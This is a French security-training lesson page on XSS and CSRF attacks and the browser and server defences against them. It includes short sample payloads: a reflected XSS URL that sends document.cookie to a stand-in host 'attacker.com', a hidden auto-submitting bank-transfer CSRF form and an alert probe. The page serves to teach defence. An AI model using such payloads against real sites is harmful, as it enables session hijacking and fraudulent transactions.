0Pricing
Security+ Academy · Leçon

Cross-Site Scripting (XSS) et CSRF

Comprenez les XSS réfléchis, stockés et fondés sur le DOM, ainsi que les attaques par falsification de requête intersite, et découvrez les défenses du navigateur qui les bloquent.

Cross-Site Scripting (XSS) et CSRF est une leçon Security+ Academy gratuite sur CoddyKit. Ceci est la leçon 2 sur 4. Tu peux lire la leçon complète ci-dessous gratuitement — puis la pratiquer en direct dans le navigateur avec un éditeur de code intégré et un tuteur IA 24/7. Elle fait partie du parcours d'apprentissage Security+ Academy, et ta progression se synchronise sur le web et l'application CoddyKit. Le cours Security+ Academy comprend 4 leçons au total.

Qu’est-ce que le script intersite ?

Le script intersite (XSS) est une vulnérabilité d’injection côté client dans laquelle un attaquant injecte des scripts malveillants dans des pages web consultées par d’autres utilisateurs. Contrairement à l’injection SQL, qui cible le Server, le XSS cible le navigateur de la victime. Lorsque le navigateur exécute le script de l’attaquant, celui-ci dispose des mêmes privilèges que les scripts légitimes de la page, ce qui permet le détournement de session, le vol d’identifiants et la diffusion de logiciels malveillants.

Le XSS réfléchi expliqué

Le XSS réfléchi se produit lorsqu’un script malveillant est intégré à une URL et que le Server le « reflète » immédiatement dans la réponse HTTP sans encodage approprié. La victime est incitée (souvent au moyen d’un lien d’hameçonnage) à cliquer sur l’URL conçue à cet effet, ce qui amène son navigateur à exécuter le script de l’attaquant. Le XSS réfléchi n’est pas persistant : il ne s’exécute que lorsque la victime clique sur le lien malveillant.

# Malicious URL with reflected XSS payload
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

# Server reflects the query param unsanitized into the HTML:
# <p>Results for: <script>...</script></p>

XSS stocké et XSS fondé sur le DOM

Le XSS stocké (persistant) intègre un script malveillant dans la base de données de l’application, par exemple dans un commentaire ou une publication de forum. Chaque utilisateur qui consulte ce Content voit le script s’exécuter dans son navigateur, ce qui rend le XSS stocké bien plus dangereux que le XSS réfléchi. Le XSS fondé sur le DOM se produit entièrement dans le navigateur lorsque JavaScript côté client lit des données contrôlées par l’attaquant depuis le DOM (par exemple, le fragment d’URL) et les réécrit dans la page de manière non sécurisée.

Défenses contre le XSS : encodage et CSP

La principale défense contre le XSS est l’encodage de la sortie : convertir les caractères spéciaux en leurs équivalents sous forme d’entités HTML (&lt;, &gt;, &amp;) avant de les afficher dans le navigateur. Un en-tête Content Security Policy (CSP) limite les scripts autorisés à s’exécuter et constitue une importante défense secondaire. La validation des entrées (par liste d’autorisation) doit également être appliquée côté serveur.

# HTTP header — Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'

# Blocks inline scripts and restricts external script sources

Qu’est-ce que la falsification de requête intersite ?

La falsification de requête intersite (CSRF) exploite la confiance qu’un site web accorde au navigateur d’un utilisateur authentifié. Un attaquant incite le navigateur d’une victime à envoyer une requête authentifiée indésirable vers un site sur lequel la victime est connectée. Comme le navigateur joint automatiquement les cookies de session, le Server cible considère la requête comme légitime. Les attaques CSRF courantes permettent de transférer des fonds, de modifier des adresses e-mail ou de changer les paramètres d’un compte.

Fonctionnement d’une attaque CSRF

Imaginez qu’un utilisateur soit connecté à sa banque sur bank.com. Un attaquant lui envoie un e-mail contenant une balise d’image cachée : <img src='https://bank.com/transfer?to=attacker&amount=1000'>. Lorsque l’e-mail est ouvert, le navigateur charge automatiquement l’URL de l’image et envoie la requête de virement avec le cookie de session bancaire de la victime. La banque la traite comme une requête légitime.

<!-- Malicious hidden form on attacker's page -->
<form action='https://bank.com/transfer' method='POST' id='csrf'>
  <input type='hidden' name='to' value='attacker_account' />
  <input type='hidden' name='amount' value='5000' />
</form>
<script>document.getElementById('csrf').submit();</script>

Défenses contre le CSRF : jetons et SameSite

La défense la plus efficace contre le CSRF est un jeton CSRF : une valeur unique et imprévisible intégrée à chaque formulaire et vérifiée côté serveur. Comme l’attaquant ne peut pas lire le jeton depuis une autre origine (politique de même origine), les requêtes falsifiées ne contiennent pas de jeton valide et sont rejetées. L’attribut de cookie SameSite (SameSite=Strict ou Lax) empêche également les navigateurs d’envoyer des cookies lors de requêtes intersites.

# Set SameSite cookie attribute
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly

# HTML hidden CSRF token in form
<input type='hidden' name='csrf_token' value='a8f3b2c7d1e4...' />

XSS ou CSRF : principales différences

Le XSS et le CSRF sont souvent confondus, mais ils ciblent des éléments différents. Le XSS injecte un script malveillant qui s’exécute dans le navigateur de la victime, en exploitant la confiance de l’utilisateur envers le site web. Le CSRF falsifie des requêtes du navigateur de la victime vers un site de confiance, en exploitant la confiance du site envers le navigateur de l’utilisateur. Le XSS peut servir à voler des jetons CSRF et à enchaîner efficacement les deux vulnérabilités.

Indicateurs de cookie HttpOnly et Secure

Les indicateurs de cookie offrent d’importantes mesures d’atténuation contre le XSS. L’indicateur HttpOnly empêche JavaScript d’accéder au cookie via document.cookie, ce qui rend plus difficile le vol de jetons de session, même en présence d’un XSS. L’indicateur Secure garantit que les cookies sont transmis uniquement via HTTPS, empêchant leur interception sur des canaux non chiffrés. Ces deux indicateurs doivent être définis sur tous les cookies de session comme mesure de défense en profondeur.

Set-Cookie: sessionid=xyz789; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600

Tester les vulnérabilités XSS

Les testeurs en sécurité recherchent le XSS en injectant des charges utiles de test dans chaque champ de saisie, paramètre d’URL, en-tête HTTP et champ JSON. Une sonde simple est <script>alert(1)</script> : si une boîte d’alerte apparaît, le XSS est confirmé. Des outils comme Burp Suite automatisent l’analyse du XSS, et OWASP ZAP fournit une analyse active gratuite. Le XSS fondé sur le DOM nécessite une analyse de JavaScript côté navigateur plutôt qu’une inspection de la réponse du Server.

Impact réel du XSS

Les attaques XSS ont causé des dommages importants dans le monde réel. Le ver Samy (2005) s’est propagé sur MySpace en 20 heures en exploitant un XSS stocké pour s’auto-propager à plus d’un million de profils. Les attaques XSS peuvent voler des jetons de session afin de détourner entièrement des comptes, rediriger les utilisateurs vers des sites d’hameçonnage, diffuser des Exploit de navigateur (téléchargements furtifs) et modifier le contenu des pages pour afficher de fausses informations aux utilisateurs ciblés.

Vérification rapide

Testez votre compréhension des concepts de CompTIA Security+ (SY0-701) présentés dans cette leçon.

Récapitulatif de la leçon

Dans cette leçon, vous avez appris que : le XSS injecte des scripts dans des pages consultées par d’autres utilisateurs, le CSRF incite des navigateurs authentifiés à envoyer des requêtes falsifiées, et l’encodage de la sortie, CSP, les jetons CSRF et l’attribut de cookie SameSite constituent les principales défenses. Nous allons maintenant étudier l’authentification défaillante et la désérialisation non sécurisée.

Questions Fréquemment Posées

La leçon « Cross-Site Scripting (XSS) et CSRF » est-elle gratuite ?

Oui — le texte complet de « Cross-Site Scripting (XSS) et CSRF » est gratuit à lire ici sur le web. Pour la pratiquer de manière interactive (un éditeur de code intégré et un tuteur IA 24/7) et déverrouiller le reste du cours Security+ Academy, passe à CoddyKit PRO. Le cours Security+ Academy comprend 4 leçons au total.

Qu'est-ce que j'apprendrai dans « Cross-Site Scripting (XSS) et CSRF » ?

Comprenez les XSS réfléchis, stockés et fondés sur le DOM, ainsi que les attaques par falsification de requête intersite, et découvrez les défenses du navigateur qui les bloquent. Tu pratiques Security+ Academy avec du code pratique que tu exécutes directement dans le navigateur, et un tuteur IA 24/7 répond à tes questions au fur et à mesure que tu avances dans la leçon.

Dois-je avoir de l'expérience pour commencer Security+ Academy ?

Aucune expérience préalable n'est requise. Security+ Academy sur CoddyKit est structuré pour les débutants jusqu'aux apprenants avancés, donc tu peux commencer ici ou depuis le début et avancer à ton rythme. Ceci est la leçon 2 sur 4.

Combien de temps prend la leçon « Cross-Site Scripting (XSS) et CSRF » ?

La plupart des leçons CoddyKit prennent environ 5–10 minutes. Chacune est courte et interactive, tu progresses régulièrement et tu repiques exactement où tu t'es arrêté sur le web et l'app.

Peux-tu écrire et exécuter du code dans cette leçon Security+ Academy ?

Oui. Chaque leçon Security+ Academy inclut un éditeur de code intégré, tu écris et exécutes du vrai code directement dans ton navigateur et tu reçois des retours IA instantanés — aucune configuration locale requise.

Toutes les leçons de ce cours

  1. Injection SQL et injection de commandes
  2. Cross-Site Scripting (XSS) et CSRF
  3. Authentification défaillante et désérialisation non sécurisée
  4. SDLC sécurisé, outils SAST et DAST
← Retour à Security+ Academy